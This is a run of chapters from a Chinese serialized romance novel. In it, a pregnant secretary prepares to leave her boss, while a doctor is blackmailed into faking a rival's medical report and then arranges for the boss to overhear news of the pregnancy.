两年前这个公司的总经理离职,吴蕾被调过去暂为管理了一段时间。
回来之后,吴蕾对工作大吐苦水,但是对那儿的气候和环境,大为夸赞。
“那就这儿了。”商音拍板定音,“我跟你走。”
沈渺装模作样地弄了个计划书,“这是首选,再来两个备选,不管贺忱选哪个,我都能接受。”
只要不在京北就行。
商音看着她认真敲击键盘的样子。
冷不丁冒出来一句,“渺儿,你现在什么心情?”
“很淡定,一定能走得了。”沈渺看都不看她一眼。
商音,“我问的不是这个,是你要离开贺忱了,估计下次再见,他就是程唯怡的老公,你们再也没有可能了。”
她说的都是实话,沈渺都知道。
可这些话说出来,还是像一颗颗秤砣,看着小小一个,却很重,往沈渺心头上砸。
125.TXL不遗传吧?
当初沈渺应聘进百荣,就是为了离贺忱近一步。
后来成为贺忱的秘书,更近一步。
不算费劲心思地接近他,也算为了他一步步往上爬。
现在却是为了远离他,处心积虑地盘算。
比起肚子里的孩子,没有什么更重要。
可沈渺还是得承认,她的内心不平静。
“好了,我知道了。”
商音觉得她脸上就写着‘放不下’三个大字。
沈渺眼皮撩拨,“你知道什么了?”
“只可意会,不可言传。”商音故作神秘。
沈渺继续做计划表,做完后发给贺忱,然后就剩下等。
工作几年来,她从未像这次一样,一点工作都没有的休假。
每晚帮商音助播成了唯一的工作量,对她来说很简单。
商音挑了个日子,让她陪着去医院复查。
还没到产后复查时间,商音是冲秦川去的。
“你可别误会,那秦医生长得虽然挺帅,可不至于让我念念不忘,就是觉得要走了,很难再见到这么优秀的男人,不接触一下可惜了。”
沈渺系安全带,朝她看去时,不由得笑了。
“我可什么都没说。”
商音瞥她一眼,“你不说不代表你心里不会瞎想。”
她们两人性格截然不同,商音是想到什么说什么。
沈渺性子内敛从不多言多问,但她处处都能想到,心很细。
“刚好,我去把病历拿回来。”
下次孕检,一定是在外地了。
“今天我得把他微信要到手。”
商音胜券在握,“以后见不到面,远程撩骚更肆无忌惮。”
在感情上,商音是个十足的小菜鸡。
好歹沈渺还能明确对贺忱的感情。
可商音就没遇到过喜欢的人,‘身经百战’的经历,全都是隔空撩骚。
现实中遇到的男人,根本放不开。
“秦医生看起来是个不错的人,你别玩坏了。”
沈渺觉得,每个人都有底线。
例如何之洲,就算抱着看戏的心态,可还是帮她保守秘密。
秦川跟贺忱虽然认识,但出于职业道德,也没有泄露她怀孕的事情。
在某些意义上来说,他们都算‘好人’。
这两个字刚在沈渺的脑海里浮现,她又想起何之洲那张欠揍的脸。
算了,就秦川是好人吧。
“你懂什么?”商音跃跃欲试,“看起来越正经、正派的男人,被撩得浪荡了,才是最过瘾的。”
沈渺看了商音一眼。
别说,两年的婚姻,她对贺忱的感情没有覆灭在滤镜碎了的近距离接触中。
就是因为进一步看到贺忱在床上‘很凶’的样子,更沉沦了。
“就你的条件,想要什么样的男人都有,不浪一浪,可惜了。”
商音要是有沈渺这身材,就敢面对面的撩男人。
她现在去撩,就怕男人给她来一句太丑勿扰。
医院,妇产科室大腹便便的人随处可见。
沈渺跟商音走在里面,算是显眼的。
一来两人都看不出怀孕迹象,二来怀孕的一般都是老公陪着。
商音算是个小网红,接待的小护士恰好是她的粉丝。
直接把她送到秦川诊室门口,又偷偷发挥小护士特权,把手里唯一一个加塞急诊号,给了商音。
原本两人还得等上一个小时,这下直接就能进去了。
秦川看到下一个病患突然被加塞换了人。
而来的人没有加塞急诊的必要,他的脸色不太好。
“商小姐,一般产后复查,不需要急诊号。”
商音坐下来,双腿叠放将手伸过去,“秦医生可能不认识我,我是个小网红,要是被人认出来会造成小规模堵塞,扰乱医院秩序。”
秦川正准备取消她的急诊号。
闻言,他放下鼠标,手指搭在了商音的手腕处。
他在国内学中医,出国研究西医,实力很强。
商音对他感兴趣很大一部分原因是,实力这么强,年轻又帅气的男人,不多。
“去做个彩超检查,看子宫恢复得怎么样。”
秦川开单,冷着一张脸。
这张冷脸,将商音想搭的话,全部吞回腹中。
她拿着缴费单站起来,转个身趁秦川看不见,一脸不死心地翻白眼。
“沈小姐。”
秦川手里握着一支笔,看向沈渺,“你有什么问题吗?”
沈渺上前两步道,“秦医生,我想拿一下病历。”
“怎么?”秦川淡声反问。
“我很快去外地发展。”
沈渺点到即止。
秦川是聪明人,顿时明白了什么,“是因为工作?贺忱让你走的?”
“正常工作调动。”沈渺觉得那个‘让’字,不太恰当。
“档案室这两天赶上排查,我帮你调一下,等档案拿出来我给你发消息。”
秦川答应得挺痛快。
可是档案不在他这儿。
“那我们改天再来。”商音上前挽住沈渺胳膊,拉着沈渺往外走。
两人出了诊室,去排队做彩超。
商音管小护士要了秦川的手机号。
“我这儿有微信。”沈渺提醒她,“秦医生的微信号不见得是手机号。”
商音把号码保存起来,“刚才那小护士说了,他给患者的微信一定是企业微信,但这手机号可是他的私人手机号,小护士费了心思才弄到手的。”
沈渺拿出手机,翻开秦川的微信看了一眼。
不是企业微信。
“听说他是秦家人,你听说过秦家吗?”
商音拉着她在等待区坐下,手边放着两瓶水,猛灌。
京北商圈外的家族,沈渺知道的不多。
她摇头。
“秦家在京北也挺有名的,书香门第,但是二十多年前爆出来一桩丑闻……”
商音打听过秦家,事无巨细地跟沈渺八卦。
几分钟后,商音去做检查。
沈渺坐在长椅上,消化着商音对秦川的爆料。
书香门第出身,本是秦家长子,集万千宠爱于一身。
但他父亲是TXL,为了传宗接代试管把他生下来,然后跟另外一个男人离家出走了。
这事儿没被爆出来,但在上流圈子已是公开的秘密。
秦家颜面受损,秦川在秦家的日子不好过。
秦家长子、长孙,被二房挤得没有地位。
现在整个秦家,算是落入二房手里了。
商音做完检查出来,衣服还没整理好就匆匆往外走。
“不是我说,TXL这东西,不遗传吧?”
126.告诉沈渺你给她的孩子做了亲子鉴定
沈渺:“……”
没遇到过,不知道。
“等我把他的嘴撬开,等着瞧。”
商音越说越对秦川感兴趣。
那端,秦川掏出手机,给贺忱发了一个消息出去。
【听说,沈秘书要离开京北。】
贺忱:【你耳朵有些长。】
他都还不知道沈渺的去处,已经传到秦川耳朵里了?
秦川:【听说沈秘书挺有能力的,劝你把人留住,免得日后后悔。】
贺忱:【有话直接说。】
他们认识这么多年,互相了解彼此。
秦川向来不是爱说的性子。
秦川:【字面意思。】
贺忱不信:【她跟你说的?她去医院了?】
秦川:【嗯,我是她的主治医生。】
他暗示着,他这个妇产科医生,是沈渺的主治医生。
贺忱却没回消息。
秦川将手机放下,继续看诊。
百荣顶层总裁办。
贺忱盯着那封沈渺整理好的文件。
他怎会看不出,沈渺刻意挑选了离着京北很远的城市。
窗外下着濛濛细雨,初夏涌来令人烦躁的热意。
窗户开着,细微的雨声传来。
贺忱点了根烟,起身走到窗边。
俯瞰着整个京北商业街,他的眸色深冷又复杂。
眸底复杂的情绪盘根错节,令人捉摸不透。
办公室的门被敲响,林昭推开门进来。
“贺总,程小姐来了,在楼下。”
贺忱侧过身来,周身是半散未散的烟雾,“让她上来。”
林昭打通前台电话,不出二分钟,程唯怡进入办公室。
“贺忱哥,我给你煲了汤。”
她将长发半扎,中间别了朵浅粉色的小花,穿着深灰色碎花连衣裙,陪着亮色系的高跟鞋。
外面下着雨,她鞋子上连一滴水都未沾。
“我说了,以后不用送这些过来。”
贺忱转身,靠在窗沿处吸了最后一口烟,将烟蒂掐灭。
他招手在身前挥了挥,散去烟雾。
隔着一团雾气,程唯怡与他对视,却觉得他棱角分明的面容,比平时多了一层疏离。
“贺忱哥,公司的危机……解除了吗?”
程唯怡轻咬着嘴唇,面色涌上自责。
贺忱鼻腔里发出一个单音节,“嗯。”
“那就好。”程唯怡动了动嘴唇,想问问,沈渺怎么处理的?
刚刚过来时,她看到沈渺的工位空着,办公桌上什么都没有。
沈渺是被开除了,还是……
“奶奶的意思是,我们都去做个婚前检查。”
贺忱蓦地开口。
他话音刚落地,程唯怡猛地抬头看过去,眼底划过慌乱。
“贺奶奶什么意思?”
贺忱,“字面上的意思,我让秦川安排一下,会做一份假的检查单,不过医院那边,还是要去走个流程。”
提起秦川,程唯怡松一口气,“那,也行。”
贺忱‘嗯’了声,“就明天吧,我接你去医院。”
程唯怡点头,“行。”
末了,两人再无半个字可说。
没一会儿,程唯怡从贺忱办公室出来。
她回到车上,拿出手机给秦川打电话。
“明天贺忱哥要带我去找你做体检,我要你全程接手。”
秦川那端声音有些嘈杂,正在接诊。
他说,“贺忱给我发消息了,他只是让我给他做一份你的体检报告,别的没交代。”
程唯怡心里‘咯噔’一声,“什么意思?”
走个流程,是指每一项检查都做。
最后在检查单上动手脚。
可贺忱只让秦川弄检查单,却带她去找别人做检查吗?
“字面的意思,我还有病人,挂了。”
秦川言简意赅,挂断电话。
程唯怡心里‘咯噔’一声。
她总觉得,贺忱有目的。
她背脊一凉,觉得初夏雨时的凉比深冬的冷还令人不寒而栗。
“秦川,你是不是跟贺忱哥说什么了!?”
那端静了几秒,电话被挂断。
不知是秦川没听见,还是听见了不愿意理。
“去医院!”程唯怡吩咐司机。
汽车原地掉头,直奔京北医院。
商音做完检查,拿着化验单来找秦川看诊。
“商小姐恢复得很好。”
秦川只看了一眼,就把化验单还回去了,“下次再复查,可以戴个口罩,走正常挂号流程,不要浪费急诊加塞。”
商音给秦川留下的印象,非常的不好。
真是一个糟糕的第二次深入接触,商音没想到,他这么有原则。
“秦医生,那你能不能帮我看一下剖腹产的刀口啊,一到下雨天就痒,而且留疤了,能不能帮我开一些淡化疤痕的药?”
商音还没有过男人,所以她是剖腹产生的商商。
秦川拧眉,“这都是正常现象,不用看,开个止痒淡痕的药膏,每天擦两次,会好一些。”
“擦哪里?伤口吗?我一个人擦着不太方便。”
商音看着他开单动作又加快了些,生怕被赶出去,说不上话了。
可她越着急,说话越离谱。
小腹上的伤疤,怎么会擦不到呢?
“擦不到让你老公帮你。”秦川把药单打印出来,放在她面前,“可以走了下一位。”
商音,“我没老公,我是单亲妈妈。”
她的试管,就是在这家医院做的。
秦川没看她病历,根本不知。
听到她这么说,眸底的冷意褪去一些,浮上来的是同情。
年纪轻轻,丧偶?
看出他眼底的同情,商音:“……”
“走吧。”沈渺拉着商音往外走。
商音还想挣扎挣扎,最终满腹的话覆灭在秦川同情的目光中。
“你说他——”
刚出诊室门,商音就像问问沈渺,秦川是不是故意的!?
话没说完,手腕上突然一紧。
沈渺拉着她的手,收缩了力量。
她顺着沈渺的目光看去,刚好看到程唯怡。
“你怎么在这里?”
程唯怡问完,才想起来沈渺的主治医生,是秦川。
沈渺理都没理她,拉着商音走了。
程唯怡朝她背影翻白眼,顾不上为难,径直进入秦川办公室。
“秦川,明天贺忱哥要带我来这里做体检,你得帮我。”
她进来以后,保镖将看病的患者驱逐出去。
此刻,办公室只有她和秦川两个人。
“帮不了。”
“那行,我现在就去告诉沈渺,你借口她腹中孩子有问题,用羊水穿刺给她做了亲子鉴定。”
这件事情曝光,秦川的前途就毁了。
127.身上没钱了,你还要走?
“你是贺忱哥最信任的人,他如果知道你干的这些事情,会在你前途尽毁时,落井下石,秦家也会趁机对你穷追不舍……”
程唯怡细数她能给秦川带来的每一个危机。
每一个下场,都不是秦川能承担得起的。
阳光笼罩秦川,他周身弥漫着一股冻彻心扉的冷意。
‘啪’的一声。
不知过了多久。
秦川手中的笔被掰成两段。
他看似如常的面色,隐着一层甚浓的低气压。
“程唯怡,你最好别落在我手里。”
咬牙切齿,字字句句在牙缝里蹦出来,他的目光瞬间锋利起来。
赌赢了。
程唯怡的心都快跳到嗓子眼。
了解秦川的都知道,他像一个亡命赌徒。
敢跟他赌的人,得做好了赌不赢被他报复的准备。
“明天,交给你了。”
程唯怡强压着那股心惊,镇定下来跟他说完,转身就走了。
秦川冷了眼她离开的背影——
——
“程唯怡跟秦川也认识啊?”
车上,商音回忆着程唯怡推开门,直接进入秦川办公室的画面。
沈渺轻点了下头,“或许吧。”
贺忱跟程唯怡自幼就认识,他们有共同认识的人,不足为奇。
“这错综复杂的关系。”商音捏了把汗,“你家祖宗一定在地下烧香拜佛,把好运都给你用上了。”
京北这地方,说大挺大说小可不小。
但同在一个圈子里,尤其上下班抬头不见低头见。
沈渺能把怀孕这事儿瞒到今天,可不是‘实力’的问题,真要说运气。
“我家祖宗干脆给我指条路得了。”
沈渺嗤笑。
她想,总有一条路是能安然无恙离开京北的。
只是她摸不到。
祖宗在下有灵,给她托梦,告诉她用什么方式能离开。
顺便再说说,以后怎么赚大钱,把孩子抚养长大。
最好能富可敌国,就算贺忱发现这孩子是他的,抢也抢不走。
异想天开了一把,沈渺舒一口气,看着窗外飞流而逝的景色。
过得真快,已经快夏天了。
回想年前她用商商试探贺忱那晚的情景,还历历在目。
尤其打开门,贺忱径直进入她家中,看都不曾看她一眼。
以及那封抚养权协议书。
每一帧,都令沈渺的心情直落谷底。
还有那晚贺忱的每一句话。
回去的路上,沈渺收到林昭发来的消息。
是一些工作上的问题,她如实告知。
【沈秘书,你什么时候回来?贺总还没说吗?】
交接完工作,林昭又问了这么一句。
沈渺怔了好一会儿,她突然反应过来自己即将调职的事情,竟是还没人知道。
她思忖着回复消息:【贺总还没给准确答复。】
林昭:【新闻已经压下去了,董事们也没再提你的事情,贺总到底怎么想的?】
网上的新闻已经消失得一干二净。
林昭为这次项目做了损失预算,保守估计损失八位数。
沈渺握着手机的手收拢,她也猜不透贺忱的想法。
林昭又发来消息:【不过你别担心,这次项目所有损失,贺总一力承担,只为保你,你迟早能回来的。】
调职也不是开除,董事们那边也交代不了。
沈渺竟是忘了这茬。
而这茬,竟是贺忱用这种方式来解决的。
她没再回林昭的消息,因为不知道怎么回。
趁着时间还早,两人去了一趟孤儿院。
“你们可算来了,上次那个临时工招呼都不打一声就跑了,一下子让我忙得不可开交。”
浅姨指着院子外面丢的一堆脏衣服,“渺渺,你快去洗一下,天儿不冷了用手吧,省点儿电费。”
商音,“她怀着孕呢。”
浅姨怔了下,面色不悦,“我忘了这茬,那你去。”
“我也不去,我哺乳期。”商音拉着沈渺进屋,“我们是来看卷卷的,其他孩子我帮你照看一下,你自己洗去。”
浅姨气的抬脚跟上来,“我这么大年纪了,让我干活?”
商音推着沈渺往屋子里走,“更年期,有气儿没地撒,就该找个地方发泄多余精力,不然呢?你总不能趁着我们不在,冲孩子们撒气吧。”
说话间,两人进了屋子,商音顺手把门关上了。
浅姨被关在门外,耳畔回荡着商音末尾那句。
她喉咙一紧,到底还是没推门进去。
隔着窗户,沈渺看到浅姨去院子里洗衣服了。
她在卷卷旁边坐下,握着卷卷的小手,“卷卷,最近怎么样?”
“最近好多了,能吃能喝能跳。”卷卷状态看起来好了不少。
原本光秃秃的头上,也长出了绒毛黑发。
商音白了眼窗外,转而朝着卷卷笑眯眯的,“状态这么好啊?我听说只要吃药就会一直没食欲啊。”
“我没有吃药啊。”卷卷脸上难得有了笑容,“浅姨说我不用再吃了。”
沈渺跟商音对视一眼,从彼此的眼眸深处,看到了诧异。
出院时,医生明明说过,不能断药。
商音起身朝外走,“我去外面看看。”
沈渺点了下头,陪着卷卷,目光落在窗户外。
她看到商音去了浅姨身边。
“卷卷的药停了?”商音直接问,“医生说不能擅自停药。”
浅姨将衣服丢入洗衣机里,她看了商音一眼,“没停。”
商音,“卷卷说停了。”
“她小孩子闹着不想吃药,我把药给她碾碎了丢饭里了。”
浅姨敷衍着,“你们又不伺候孩子,哪里懂这么多?”
商音说,“你只要别把药停了就行。”
“停什么药啊?”浅姨挥挥手,“你去厨房看看,我烧着开水呢。”
看她忙活着,商音转身进厨房。
她前脚走,后脚浅姨将衣服丢下,将手往身上蹭了蹭,转身朝沈渺那屋子里跑。
商音出来的急,没关门,她掀开帘子进屋,没等出声,就听到沈渺跟卷卷聊天。
“放心,渺渺姐走了也会定期回来看你的,你乖乖吃药,等着合适的骨髓移植,以后身体就会彻底好起来啦,然后你就可以回学校,再过几年大学毕业,能赚钱了,你可以来找渺渺姐,好不好?”
卷卷声音不舍,“渺渺姐姐,你到底要去哪里啊?一定要走吗?”
没等沈渺回答,浅姨冲进来,“身上都没钱了,你还是要走啊?”
128.你发现我骗了你,你会怎么做?
浅姨突然闯进来。
沈渺和卷卷皆是吓了一跳。
两人齐齐看过去。
浅姨已经走到她们跟前了。
“去哪儿啊?”
听她凌厉和不满的语气,好像沈渺犯了什么弥天大错。
“还不确定。”沈渺松开卷卷,她站起来整理了下衣服,往外走。
浅姨的状态,实在不适合在卷卷面前交谈。
她前脚出来,后脚浅姨就跟出来了。
“一问一个不确定,证明你还没有计划好,大着个肚子是要到哪里去?你怀孕这事儿我还没跟你探讨完呢,趁着现在还不太显怀,孩子不是很大,赶紧做了去,还不受罪……”
沈渺猛地顿住脚步。
她回头打断浅姨的话,“这是一个孩子,是一条生命!你怎么能随随便便说出这么无情的话来?”
“我这是为你好!”浅姨扯着脖子反驳。
沈渺,“真是谢谢了,以后把这多余的好用在孩子们身上吧。”
“你……”
“我们现在不算孤儿院的人。”
听到她们争吵,商音在厨房出来,她径直站在沈渺前面,双手抱臂看着浅姨。
“这些年,我们两个给孤儿院的钱早已经还清了孤儿院对我们的养育之恩,我们还愿意供养孤儿院是心疼这些孩子,是心善,是有良心!你少道德绑架,不然我们翻脸不认人,一分钱也不给了!”
商音话是这么说,可到底还是狠不下心来。
从孤儿院出来的她们,从水深火热中爬出来的。
见不得孩子们跟着水深火热。
但浅姨不敢赌,立马改了话,“你们的事情自己决定就好了,我不是非要管你们,是站在过来人的角度上发表意见而已。”
“你是过来人,但不是我们的什么人,少发表些有的没的。”
商音拉着沈渺又朝卷卷那屋走去。
两人几乎每次回来,都会因为一些事情跟浅姨发生口舌。
气归气,但习以为常,每次都抱着来都来了陪陪孩子们的心态,留下来。
吃饭时,饭桌上的气氛都不太对。
但几个人都习惯在这种微妙的气氛中相处。
饭后两人又陪卷卷玩儿了一会儿,然后才离开。
浅姨坐在床上,看着她们上了车,深吸一口气掏出手机拨出一通电话。
“沈渺又要走了,这次应该是真的,她都来跟卷卷告别了,一定得再想想办法……”
——
京北第一医院。
贺忱与程唯怡一同进行体检,抽血化验各个项目。
直到查妇科,程唯怡一个人进去,贺忱等在外面。
检查室内,金发碧眼的外国医生坐在那里。
他转动机器,操着卷舌音很浓的腔调说,“躺下。”
程唯怡大脑飞速运转,直觉告诉她不对劲。
京北医院有外籍医生不稀奇。
稀奇的是,只是一个做彩超的,怎么会是外籍医生!?
她迟疑片刻问,“你是秦川的老师?”
“你认识我?”外国医生诧异的看她一眼。
程唯怡顿时周身血液凝固!
贺忱竟然把秦川的老师请到国内来了!
就是为了给她检查,治疗她——
“秦……秦川?”
外国指了指楼上,“这个点,他应该在坐诊。”
程唯怡深吸一口气,难不成……被秦川给耍了?
“躺下吧,别紧张,一个普通的检查而已。”
国外医生推了推鼻梁上的眼镜。
程唯怡站在那儿不动,她下意识摸向口袋,可口袋里空空如也。
她的包在贺忱那儿,手机在里面。
想给秦川打电话问问,却……
“程小姐,你不用太紧张。”见她站在原地不动,国外老师拍了拍床,“先躺下来好吗?外面还有人等着。”
程唯怡深吸一口气,强忍着跑出检查室的冲动,她在床上平躺下来。
“撩起肚子。”
国外医生整理着器械,看她僵着不动,又说。
程唯怡的手捏着衣角,“您……我突然想起来一件事情,想跟秦川说,您能帮我打个电话吗?”
“做完检查,你可以去楼上找他。”
国外医生已经准备好,他看向程唯怡,挑了下眉,示意程唯怡快一些。
程唯怡轻轻将衣服往上来,动作缓慢。
“就我打个电话不行吗?我就在电话里说一句。”
国外医生戴着口罩,蓝褐色的眼眸划过一瞬的不耐。
“程小姐,我现在在工作。”
拒绝的意思,不言而喻。
程唯怡的心提到嗓子眼,她只能将衣服掀起来。
肚子上凉飕飕的,冰冷的仪器压下来,凉意更浓。
“你这……”
国外医生不等说完,一阵脚步声在内门传来。
下一秒,秦川出现在检查室,他拿着手机,“师父,科研室那边有突发情况,您的电话打不通。”
他的话还没说完,国外医生就放下机器,立马起身,从他手里把手机接过来。
程唯怡吞了吞口水,扭头看过去。
“我来做,您去忙。”秦川坐下,接过机器,在程唯怡肚子上照来照去。
国外医生在内门离开。
秦川从口袋里拿出一个U盘,插入机器中,导入一张照片。
“起来吧。”
“你去哪里了!”程唯怡立马整理好衣服起来,质问,“差一点儿你就来晚了!”
秦川将那张彩超照片,导入程唯怡检查报告上,“程小姐那么笃定拿捏住了我的软肋,怕什么?”
他有些阴阳怪气。
“你故意的是吧?”程唯怡脸色有些不好。
秦川将东西打印出来,交给她,“拿着你要的东西,滚。”
程唯怡拿过报告单,冷哼一声推门出去。
她前脚走,后脚国外医生就回来了。
秦川拿回手机,起身退到一旁。
国外医生看着检查报告,倒吸一口凉气,“这哪里有办法?只怕,要让贺总失望了。”
“师父,您忙,我先回去了。”秦川目光阴郁,转身上楼。
约莫半小时后,贺忱拧着眉来到秦川办公室。
“你师父比你当初说的还严重,他也没有办法。”
贺忱指骨捏着眉心,面色不佳到极点。
秦川眸光微动,“是吗,那真是遗憾。”
“帮我把这份体检报告弄一下。”贺忱将程唯怡的体检报告交给他,“发我邮箱。”
说完,他起身往外走。
眼看他就要走出诊室,秦川站起来问,“贺忱,如果有一天你发现我骗了你,你会怎么做?”
129.秦川设局引沈渺
贺忱推开门的动作没停。
“大男人哪那么多矫情?敢骗我拿你狗命来还。”
他不以为意的声音,是对他们兄弟情的笃定。
是对秦川的信任。
秦川坐回椅子上,唇角扬起一抹苦涩的弧度。
良久,他的眼眸渐渐变得深沉。
程唯怡,等着瞧!
——
周末前一天,沈渺接到秦川的消息,约她明天到郊区的茶庄见面。
“他约你了?”
商音听她说了,差点儿没从床上跳起来,“他对你有兴趣?虽然我这生过孩子的确实离谱,可你还怀着啊!”
沈渺把手机关了,戳了戳商音的头。
“他是要给我病历档案。”
商音揉了揉脑门,‘哦’了一声,跌回被子里,“你害怕他干坏事啊?那我陪你去?”
“倒是不怕。”沈渺摇摇头,“我就是好奇,他为什么约到那么远的地方,而且他可以交代给医院护士,我过去拿一趟就是了。”
直觉告诉沈渺,秦川带着目的。
可她又实在想不透,秦川能有什么目的?
“他还能吃了你啊?”商音抬手搓着头,像美人鱼一样躺在床上看着沈渺,“我陪你去,他要是敢对你图谋不轨,我替你挡着。”
沈渺嗤笑,想不出秦川能对她图谋不轨。
倒是想得出她把秦川扑倒的画面。
“我还是问问什么意思吧。”
她给秦川回了一个‘?’。
秦川:【我明天休息,不小心把你的档案带回家了,过几天我有事休假,没时间送回医院,麻烦你来茶庄取。】
说完,许是怕沈渺过不来,他又添了一句。
【你要是不着急,过几天再来医院拿。】
沈渺想了想答应,明天去茶庄拿。
调职随时都会下来结果,尽早准备好一切为妙。
“真不用我陪你去啊?”
直到沈渺出发的前一刻,商音第N次十分认真地问。
“不用了,你陪着商商吧,他这两天挺粘你的。”
商商认人了,到了恋母特别严重的时候。
只要有一会儿看不到商音就哭。
这不影响商音工作,毕竟她在晚上商商睡了以后才直播。
可严重地影响了商音休息,她每天的睡眠不足六个小时,一早就得爬起来陪商商。
沈渺这一来一回,至少两三个小时。
她想让商音多休息一会儿。
出了家门,她打车去的茶庄。
正逢周末,出行的人多,有些堵车。
原本不到一个小时的路程,硬生生花了一个多小时才到。
约好的上午十点,沈渺踩着点进入茶庄。
“您好,请问有预约吗?”
服务员立刻上前来邀请。
沈渺,“秦川秦先生。”
“好的,您跟我来。”服务员拿着对讲机引着沈渺朝顶楼VIP走,“秦先生的客人到了。”
没几秒,对讲机传来声音,“好的,已经转告秦先生。”
这家茶楼有百年历史,茶香味四溢。
四周静悄悄的,沈渺穿着平底鞋踩在大理石上,发出细微的声音十分有音律。
顶楼的VIP区,每一扇门都有半遮的草帘,依稀可见包厢内的景象。
“沈小姐您好,秦先生在里面等您。”
服务员在一间包厢门口停下,笑着将门平移推开。
包厢分两间,里面一间房门半敞。
秦川在外面的方桌前坐着,他行云流水地沏茶。
“秦医生。”沈渺走进来。
“麻烦沈小姐这么远跑过来一趟了。”
秦川抬了抬手,示意沈渺坐下。
沈渺没看到病历档案,她客气道,“我就不打扰您忙了,您把档案给我吧。”
“抱歉,档案在车上,已经让服务员去拿了。”
秦川推了推鼻梁上眼镜,将对面位置上的茶杯里添满茶水。
“稍等片刻吧,放心这茶孕妇能喝,刚好我还想说两句。”
半敞的门内突然传来一阵细琐声。
里面有人,想必是秦川约过来的。
沈渺不自觉地拧了拧眉,思忖片刻还是坐下来。
“谢谢秦医生。”
“沈小姐现在怀孕快二十二周了,孕中期相对来说较为安全,虽然你以后不在我这里看诊了,但我还是想提醒两句,孕晚期不能忽视。”
秦川事无巨细地交代。
“目前你的胎儿发育较小,建议你后期多补充营养,不要过度劳累,最好能停掉工作安心度过孕晚期。”
这些,沈渺都知道。
或许是等待期间,让她坐在这儿干等过于尴尬。
所以秦川说了些有的没的。
沈渺点头附和着,“知道了,谢谢秦医生。”
“再说个孕晚期最禁忌的事情。”
秦川品了口茶,好一会儿他将茶盏放下,“没见过沈小姐的老公,但你这么年轻想必他也是年轻气盛的,孕晚期千万别上床,免得造成早产。”
孕晚期最禁忌的事情,涉及到了最私密的问题。
若秦川说这话时,他穿着白大褂,他们身处医院诊室,沈渺能坦然回一句‘知道了’。
可这环境和这话题——
“沈小姐,怎么了?”
见她不说话,秦川一脸义正言辞,“难道说,这一点做不到吗?”
“当然不,没有。”沈渺忙不迭否认。
“我想你应该是心中有数的性子。”秦川颔首了下,“是不是你老公不太配合?今天是你老公陪你来的吗?要不要我跟你下楼,跟他聊两句?”
沈渺再次摇头,“不用,谢谢秦医生的好意,我……们,都懂。”
话到嘴边的‘我都懂’,硬生生憋了下变成‘我们都懂’。
包厢门被人从外面推开,一个男服务员拿着一把车钥匙和一个档案袋进来。
“直接交给这位小姐吧。”
秦川接过车钥匙,示意服务员把档案病例交给沈渺。
沈渺起身接过来,轻声跟服务员道谢后,转身看向秦川。
“谢谢,秦医生,再会。”
“再会。”秦川起身送她到包厢门口。
一直到沈渺下楼,身形消失不见,秦川才折回包厢。
他看了眼半敞的内间包厢门,顿了下才进去。
双人长桌上摆放着纯木质茶具,更浓的茶香味迎面扑来。
桌上原本相对而放的两个小酒杯,一个端端正正摆放在那里,一个七扭八歪地倒在桌子上。
茶水漫了一桌。
而那儿坐着的男人,目光深凝,正盯着秦川看。
“贺忱,怎么了?”
秦川问。
130.贺忱得知沈渺怀孕!
贺忱下颚线条清晰,他抵在桌沿的手筋络凸起,手指还微湿。
“你见的人是谁。”
秦川在他对面坐下,“哦,我忘记了,那是你的秘书,该叫她进来打个招呼的。”
贺忱呼吸一滞。
原本微拧着的眉骨,在一瞬间紧紧地拢起。
沈渺?
怀孕二十二周?
胎儿发育较小?
孕晚期千万别上床?
孕期的知识,贺忱一概不知。
这段对话,除了沈渺的声音很熟悉外,其他都是陌生的。
陌生到,他觉得那不是沈渺。
只是声音相似。
可太过熟悉的声音,又怎会认错呢?
“听说她因为工作安排,要去外地了。今天来找我拿孕检档案的。”
秦川将贺忱的茶杯扶正,倒上茶水。
“你见过她老公吗?我见她好几次,都不是她老公陪着来的,不知道的还以为她没有老公。”
听似试探的话语,一下下敲在贺忱的心头。
贺忱薄唇抿成一条直线,周围安静的环境令他心里一阵慌乱。
他站起来拿上外套就走。
远去的脚步声沉闷规律,直至消失不见。
秦川盯着他刚刚坐过的地方,一动不动。
他的错误,只能弥补到这儿了。
离开茶庄,沈渺上了出租车,才感觉整个人都轻快不少。
仔细回味秦川那些话,处处看似正常,却又处处透着不正常。
沈渺想到那半扇敞开的门,那一声细琐杂乱,越是回想越让她心里乱糟糟的。
回去路上,她接到商音的电话。
等不及回家,她言简意赅将秦川那些话说了一遍。
“别多想,医生眼里无男女,别说是提醒你别跟老公上床,你就是扒了裤子躺在他面前,他也没有邪念,满脑子都是病情。”
商音有过生产经验,脱光了上手术台做剖腹产。
那些医生就看着她光溜溜的身体,都见怪不怪了,可见医生跟他们正常人是不一样的。
尤其妇科医生。
“那是我多想了。”
沈渺不清楚,秦川跟贺忱的关系到底如何。
秦川在六七年前就出国了,那时沈渺还没跟贺忱。
所以她根本不知道,六七年前贺忱跟秦川是京北公子哥圈里有名的二人组。
两个人关系好到,一度传出一些传闻。
沈渺租的房子快到期了,她打算回去拿一些东西,暂时放到商音那儿去。
计程车在她的出租房楼下停下,她交了钱下车,上楼。
计程车前脚离开,后脚劳斯莱斯就停在了单元门口。
贺忱从车上下来,看了眼单元楼门口,眸光一深。
他抬脚进入单元楼。
此刻,楼上。
短短几天不上班,沈渺就被养懒了。
不过是起了个早,坐车时间久一些,她就感觉有些乏。
她进屋后瘫在沙发上休息了一会儿,一想到收拾东西拖着行李箱到商音那儿去,就觉得乏累。
她休息了好一会儿,才起来慢吞吞收拾东西,放入二十寸的行李箱里。
不过收拾几件衣服,她背上出了一层薄汗,倦意又涌上来。
她正欲坐到沙发上休息会儿再走,门铃突然响起。
‘叮咚叮咚’。
沈渺起身朝门口走去,她先在猫眼往外看了一眼。
没看到人,她小心将门拉开一条缝。
“当当当当!”
商音探头进来,手里拎着两份冰激凌,“想不想吃?”
“你怎么过来了?”
沈渺把门完全打开,接过冰激凌说,“你不是说不让我吃这东西吗?”
“不能多吃,偶尔吃一次没事。”
商音走进来,拖过她的行李箱,“你一个大肚婆,我怎么放心让你一个人来收拾东西啊,走,接你回家。”
她示意沈渺换鞋。
沈渺换好鞋,拎着冰激凌跟在商音后面下楼。
她小口小口吃着冰激凌,凉丝丝的甜甜的在她唇腔里化开。
她眯起眼睛,一脸满足。
“我陪着商商睡了一觉,现在精力充沛,等会儿找个地儿吃饭?”
商音把她行李放在后备箱。
沈渺把她的冰激凌打开,递到她嘴边喂她,“不了,商商看不到你又要闹了。”
“月嫂带他在车上。”商音看了眼后座。
隔着窗户,沈渺看不清里面的景象。
但依稀看出里面有人影晃动。
“吃完了再上车,不然把我儿子馋坏了。”
商音放好东西接过冰激凌,大口大口地吃。
